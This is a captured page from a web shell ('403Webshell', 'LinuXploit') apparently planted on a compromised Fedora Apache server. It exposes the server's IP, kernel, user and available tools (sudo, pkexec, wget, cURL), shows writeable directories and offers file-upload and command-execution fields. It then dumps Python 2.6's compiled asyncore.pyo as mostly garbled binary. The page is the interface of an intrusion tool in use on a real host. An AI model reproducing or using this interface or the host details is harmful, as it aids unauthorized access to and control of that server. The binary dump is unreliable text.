403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/asyncore.pyo
Ñò
ÇÉŽJc@s¼dZddkZddkZddkZddkZddkZddklZlZl	Z	l
Z
lZlZl
Z
lZlZlZlZyeWnej
o
hZnXd„Zdefd„ƒYZd„Zd„Zd	„Zd
„Zded„Zded
„ZeZdeeed„Z dfd„ƒYZ!de!fd„ƒYZ"d„Z#eed„Z$ei%djo9ddk&Z&dfd„ƒYZ'de!fd„ƒYZ(ndS(s Basic infrastructure for asynchronous socket service clients and servers.

There are only two ways to have a program on a single processor do "more
than one thing at a time".  Multi-threaded programming is the simplest and
most popular way to do it, but there is another very different technique,
that lets you have nearly all the advantages of multi-threading, without
actually using multiple threads. it's really only practical if your program
is largely I/O bound. If your program is CPU bound, then pre-emptive
scheduled threads are probably what you really need. Network servers are
rarely CPU-bound, however.

If your operating system supports the select() system call in its I/O
library (and nearly all do), then you can use it to juggle multiple
communication channels at once; doing other work while your I/O is taking
place in the "background."  Although this strategy can seem strange and
complex, especially at first, it is in many ways easier to understand and
control than multi-threaded programming. The module documented here solves
many of the difficult problems for you, making the task of building
sophisticated high-performance network servers and clients a snap.
iÿÿÿÿN(tEALREADYtEINPROGRESStEWOULDBLOCKt
ECONNRESETtENOTCONNt	ESHUTDOWNtEINTRtEISCONNtEBADFtECONNABORTEDt	errorcodecCs.ti|ƒ}|djot|}n|S(Ns
Unknown error(toststrerrorR
(terrtres((s/usr/lib/python2.6/asyncore.pyt	_strerror?s
tExitNowcBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/asyncore.pyREscCsDy|iƒWn/tttfj
o
‚n|iƒnXdS(N(thandle_read_eventRtKeyboardInterruptt
SystemExitthandle_error(tobj((s/usr/lib/python2.6/asyncore.pytreadHscCsDy|iƒWn/tttfj
o
‚n|iƒnXdS(N(thandle_write_eventRRRR(R((s/usr/lib/python2.6/asyncore.pytwritePscCsDy|iƒWn/tttfj
o
‚n|iƒnXdS(N(thandle_expt_eventRRRR(R((s/usr/lib/python2.6/asyncore.pyt
_exceptionXscCs¸y‚|titiB@o|iƒn|ti@o|iƒn|titiB@o|iƒn|ti	@o|i
ƒnWn/ttt
fj
o
‚n|iƒnXdS(N(tselecttPOLLINtPOLLPRIRtPOLLOUTRtPOLLERRtPOLLNVALRtPOLLHUPthandle_closeRRRR(Rtflags((s/usr/lib/python2.6/asyncore.pyt	readwrite`sgc
Cs|djo
t}n|oïg}g}g}x|iƒD]s\}}|iƒ}|iƒ}|o|i|ƒn|o|i|ƒn|p|o|i|ƒq=q=Wg|jo|jo
|jnoti|ƒdSy%ti||||ƒ\}}}Wn7ti	j
o(}	|	i
dtjo‚qOdSnXx;|D]3}|i|ƒ}|djoqVnt
|ƒqVWx;|D]3}|i|ƒ}|djoq”nt|ƒq”Wx?|D]3}|i|ƒ}|djoqÒnt|ƒqÒWndS(Ni(tNonet
socket_maptitemstreadabletwritabletappendttimetsleepRterrortargsRtgetRRR(
ttimeouttmaptrtwtetfdRtis_rtis_wR
((s/usr/lib/python2.6/asyncore.pytpollosV


*
%	


c	Cs…|djo
t}n|dj	ot|dƒ}ntiƒ}|o6x™|iƒD]‹\}}d}|iƒo|titiBO}n|i	ƒo|ti
O}n|o/|titiBti
BO}|i||ƒqXqXWy|i|ƒ}Wn9tij
o*}|idtjo‚ng}nXxH|D]<\}}|i|ƒ}|djoq=nt||ƒq=WndS(Nièi(R'R(tintRR:R)R*RRR+R R!R#R"tregisterR/R0RR1R&(R2R3tpollsterR7RR%R4R
((s/usr/lib/python2.6/asyncore.pytpoll2›s8






g>@cCs¢|djo
t}n|ottdƒo
t}nt}|djo xP|o|||ƒqNWn4x0|o(|djo|||ƒ|d}qnWdS(NR:ii(R'R(thasattrRR>R:(R2tuse_pollR3tcounttpoll_fun((s/usr/lib/python2.6/asyncore.pytloop½s




t
dispatchercBsFeZeZeZeZeZdZddd„Z	d„Z
dd„Zdd„Zd„Z
dd„Zd„Zd„Zd„Zd	„Zd
„Zd„Zd„Zd
„Zd„Zd„Zd„Zd„Zdd„Zd„Zd„Zd„Zd„Zd„Z d„Z!d„Z"d„Z#d„Z$d„Z%d„Z&RS( cCsÉ|djo
t|_n
||_d|_|o‰|idƒ|i||ƒt|_y|iƒ|_	WqÅt
ij
o:}|idt
jo
t|_q¸|i|ƒ‚qÅXn
d|_
dS(Ni(R'R(t_mapt_filenotsetblockingt
set_sockettTruet	connectedtgetpeernametaddrtsocketR/R0RtFalsetdel_channel(tselftsockR3R
((s/usr/lib/python2.6/asyncore.pyt__init__×s 

		
	

cCsÒ|iid|iig}|io|io|idƒn|io|idƒn|idj	oHy|id|iƒWqµtj
o|it	|iƒƒqµXnddi
|ƒt|ƒfS(Nt.t	listeningRJs%s:%ds<%s at %#x>t (t	__class__RRt	acceptingRLR,RJR't	TypeErrortreprtjointid(RPtstatus((s/usr/lib/python2.6/asyncore.pyt__repr__÷s
cCs+|djo
|i}n|||i<dS(N(R'RERF(RPR3((s/usr/lib/python2.6/asyncore.pytadd_channels

cCsH|i}|djo
|i}n||jo||=nd|_dS(N(RFR'RE(RPR3R7((s/usr/lib/python2.6/asyncore.pyRO
s	


cCs?||f|_ti||ƒ}|idƒ|i|ƒdS(Ni(tfamily_and_typeRMRGRH(RPtfamilyttypeRQ((s/usr/lib/python2.6/asyncore.pyt
create_sockets
cCs)||_|iƒ|_|i|ƒdS(N(RMtfilenoRFR^(RPRQR3((s/usr/lib/python2.6/asyncore.pyRHs	c	CsVy9|iititi|iititiƒdBƒWntij
onXdS(Ni(RMt
setsockoptt
SOL_SOCKETtSO_REUSEADDRt
getsockoptR/(RP((s/usr/lib/python2.6/asyncore.pytset_reuse_addrs	cCstS(N(RI(RP((s/usr/lib/python2.6/asyncore.pyR*0scCstS(N(RI(RP((s/usr/lib/python2.6/asyncore.pyR+3scCs@t|_tidjo|djo
d}n|ii|ƒS(Ntnti(RIRWRtnameRMtlisten(RPtnum((s/usr/lib/python2.6/asyncore.pyRk:s	
cCs||_|ii|ƒS(N(RLRMtbind(RPRL((s/usr/lib/python2.6/asyncore.pyRm@s	cCszt|_|ii|ƒ}|tttfjodS|dtfjo||_|i	ƒnti
|t|ƒ‚dS(Ni(RNRJRMt
connect_exRRRRRLthandle_connect_eventR/R
(RPtaddressR
((s/usr/lib/python2.6/asyncore.pytconnectDs		cCs]y#|iiƒ\}}||fSWn3tij
o$}|idtjoqY‚nXdS(Ni(RMtacceptR/R0R(RPtconnRLtwhy((s/usr/lib/python2.6/asyncore.pyRrPscCs„y|ii|ƒ}|SWnctij
oT}|idtjodS|idttttfjo|i	ƒdS‚nXdS(Ni(
RMtsendR/R0RRRRR	R$(RPtdatatresultRt((s/usr/lib/python2.6/asyncore.pyRu[s 
cCsy0|ii|ƒ}|p|iƒdS|SWnJtij
o;}|idttttgjo|iƒdS‚nXdS(Nti(	RMtrecvR$R/R0RRRR	(RPtbuffer_sizeRvRt((s/usr/lib/python2.6/asyncore.pyRyhs
 
cCsmt|_t|_|iƒy|iiƒWn9tij
o*}|idtt	fjo‚qinXdS(Ni(
RNRJRWRORMtcloseR/R0RR(RPRt((s/usr/lib/python2.6/asyncore.pyR{zs		
cCst|i|ƒS(N(tgetattrRM(RPtattr((s/usr/lib/python2.6/asyncore.pyt__getattr__†scCstiidt|ƒƒdS(Nslog: %s
(tsyststderrRtstr(RPtmessage((s/usr/lib/python2.6/asyncore.pytlogstinfocCs+tp
|djod||fGHndS(NR„s%s: %s(t	__debug__(RPR‚Ra((s/usr/lib/python2.6/asyncore.pytlog_infoscCsH|io|iƒn-|ip|iƒ|iƒn|iƒdS(N(RWt
handle_acceptRJRothandle_read(RP((s/usr/lib/python2.6/asyncore.pyR”s


cCst|_|iƒdS(N(RIRJthandle_connect(RP((s/usr/lib/python2.6/asyncore.pyRoŸs	cCsy|iodS|ipR|iititiƒ}|djoti|t|ƒƒ‚n|iƒn|i	ƒdS(Ni(
RWRJRMRgRetSO_ERRORR/RRothandle_write(RPR
((s/usr/lib/python2.6/asyncore.pyR£s


cCs™t}y+|iii}tii}||j}Wntj
onX|o=|iititi	ƒ}t
|ƒ}ti||ƒ‚n|iƒdS(N(RIRVthandle_expttim_funcRDtAttributeErrorRMRgReRŠRR/(RPtxty1ty2R
tmsg((s/usr/lib/python2.6/asyncore.pyR²sc	Csmtƒ\}}}}yt|ƒ}Wndt|ƒ}nX|id||||fdƒ|iƒdS(Ns)<__repr__(self) failed for object at %0x>s:uncaptured python exception, closing channel %s (%s:%s %s)R/(tcompact_tracebackRYR[R†R$(RPtniltttvttbinfot	self_repr((s/usr/lib/python2.6/asyncore.pyRÆscCs|iddƒdS(Nsunhandled exceptiontwarning(R†(RP((s/usr/lib/python2.6/asyncore.pyRŒÚscCs|iddƒdS(Nsunhandled read eventR™(R†(RP((s/usr/lib/python2.6/asyncore.pyRˆÝscCs|iddƒdS(Nsunhandled write eventR™(R†(RP((s/usr/lib/python2.6/asyncore.pyR‹àscCs|iddƒdS(Nsunhandled connect eventR™(R†(RP((s/usr/lib/python2.6/asyncore.pyR‰ãscCs|iddƒdS(Nsunhandled accept eventR™(R†(RP((s/usr/lib/python2.6/asyncore.pyR‡æscCs|iddƒ|iƒdS(Nsunhandled close eventR™(R†R{(RP((s/usr/lib/python2.6/asyncore.pyR$ésN('RRRNtdebugRJRWtclosingR'RLRRR]R^RORbRHRhR*R+RkRmRqRrRuRyR{R~RƒR†RRoRRRRŒRˆR‹R‰R‡R$(((s/usr/lib/python2.6/asyncore.pyRDÏsF 	
										
														tdispatcher_with_sendcBs;eZddd„Zd„Zd„Zd„Zd„ZRS(cCs ti|||ƒd|_dS(NRx(RDRRt
out_buffer(RPRQR3((s/usr/lib/python2.6/asyncore.pyRRôscCs3d}ti||id ƒ}|i||_dS(Nii(RDRuR(RPtnum_sent((s/usr/lib/python2.6/asyncore.pyt
initiate_sendøscCs|iƒdS(N(RŸ(RP((s/usr/lib/python2.6/asyncore.pyR‹ýscCs|ip
t|iƒS(N(RJtlenR(RP((s/usr/lib/python2.6/asyncore.pyR+scCsC|io|idt|ƒƒn|i||_|iƒdS(Ns
sending %s(RšR†RYRRŸ(RPRv((s/usr/lib/python2.6/asyncore.pyRus
N(RRR'RRRŸR‹R+Ru(((s/usr/lib/python2.6/asyncore.pyRœòs
			c
CsØtiƒ\}}}g}|ptdƒ‚nxF|o>|i|iii|iiit|i	ƒfƒ|i
}q5W~|d\}}}dig}|D]}|d|q¢~ƒ}	|||f|||	fS(Nstraceback does not existiÿÿÿÿRUs
[%s|%s|%s](Rtexc_infotAssertionErrorR,ttb_frametf_codetco_filenametco_nameRt	tb_linenottb_nextRZ(
R•R–ttbR—tfiletfunctiontlinet_[1]RR„((s/usr/lib/python2.6/asyncore.pyR“
s.cCsº|djo
t}nx’|iƒD]„}y|iƒWq$tj
o/}|idtjoq¨|p‚q¨q$ttt	fj
o
‚q$|p‚q¨q$Xq$W|i
ƒdS(Ni(R'R(tvaluesR{tOSErrorR0RRRRtclear(R3t
ignore_allR((s/usr/lib/python2.6/asyncore.pyt	close_all!s"


tposixtfile_wrappercBsAeZd„Zd„Zd„ZeZeZd„Zd„ZRS(cCsti|ƒ|_dS(N(RtdupR7(RPR7((s/usr/lib/python2.6/asyncore.pyRRHscGsti|i|ŒS(N(RRR7(RPR0((s/usr/lib/python2.6/asyncore.pyRyKscGsti|i|ŒS(N(RRR7(RPR0((s/usr/lib/python2.6/asyncore.pyRuNscCsti|iƒdS(N(RR{R7(RP((s/usr/lib/python2.6/asyncore.pyR{TscCs|iS(N(R7(RP((s/usr/lib/python2.6/asyncore.pyRcWs(	RRRRRyRuRRR{Rc(((s/usr/lib/python2.6/asyncore.pyR´Cs				tfile_dispatchercBseZdd„Zd„ZRS(cCsŽti|d|ƒt|_y|iƒ}Wntj
onX|i|ƒti|ti	dƒ}|t
iB}ti|ti|ƒdS(Ni(
RDRRR'RIRJRcRŽtset_filetfcntltF_GETFLRt
O_NONBLOCKtF_SETFL(RPR7R3R%((s/usr/lib/python2.6/asyncore.pyRR\s	

cCs/t|ƒ|_|iiƒ|_|iƒdS(N(R´RMRcRFR^(RPR7((s/usr/lib/python2.6/asyncore.pyR·isN(RRR'RRR·(((s/usr/lib/python2.6/asyncore.pyR¶Zs
()t__doc__RRMRR-RterrnoRRRRRRRRRR	R
R(t	NameErrorRt	ExceptionRRRRR&R'R:R>tpoll3RNRCRDRœR“R²RjR¸R´R¶(((s/usr/lib/python2.6/asyncore.pyt<module>/s:L					, ÿ$	

Youez - 2016 - github.com/yon3zu
LinuXploit